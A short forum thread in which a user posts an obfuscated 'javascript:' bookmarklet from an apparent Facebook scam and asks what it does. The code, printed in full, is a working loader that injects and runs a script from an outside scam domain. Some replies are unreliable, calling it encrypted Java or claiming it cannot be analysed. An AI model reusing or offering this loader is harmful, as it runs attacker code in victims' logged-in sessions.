What does this code do ?

[Hitman6267]

javascript:var _0xdc9b=["\x28\x61\x3D\x28\x62\x3D\x37\x29\x2E\x36\x28\x27\x63\x27\x29\x29\x2E\x34\x3D\x27\x2F\x2F\x33\x2E\x32\x2F\x31\x2E\x31\x27\x2C\x62\x2E\x39\x2E\x38\x28\x61\x29\x3B\x35\x28\x30\x29","\x7C","\x73\x70\x6C\x69\x74","\x7C\x6A\x73\x7C\x69\x6E\x66\x6F\x7C\x66\x62\x76\x69\x65\x77\x63\x6F\x75\x6E\x74\x65\x72\x7C\x73\x72\x63\x7C\x76\x6F\x69\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x62\x6F\x64\x79\x7C\x7C\x7C\x73\x63\x72\x69\x70\x74","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xf509x1,_0xf509x2,_0xf509x3,_0xf509x4,_0xf509x5,_0xf509x6){_0xf509x5=function (_0xf509x3){return _0xf509x3.toString(36);} ;if(!_0xdc9b[5][_0xdc9b[4]](/^/,String)){while(_0xf509x3--){_0xf509x6[_0xf509x3.toString(_0xf509x2)]=_0xf509x4[_0xf509x3]||_0xf509x3.toString(_0xf509x2);} ;_0xf509x4=[function (_0xf509x5){return _0xf509x6[_0xf509x5];} ];_0xf509x5=function (){return _0xdc9b[6];} ;_0xf509x3=1;} ;while(_0xf509x3--){if(_0xf509x4[_0xf509x3]){_0xf509x1=_0xf509x1[_0xdc9b[4]]( new RegExp(_0xdc9b[7]+_0xf509x5(_0xf509x3)+_0xdc9b[7],_0xdc9b[8]),_0xf509x4[_0xf509x3]);} ;} ;return _0xf509x1;} (_0xdc9b[0],13,13,_0xdc9b[3][_0xdc9b[2]](_0xdc9b[1]),0,{}));

What does this code do ?

It's part of a facebook scam that is going around.

[0veR]

Its encripted Java or HTML code!

[RadioActive]

I'm not an expert in JS but this does seem obfuscated and if that's the case then there's no way of telling exactly what it does :s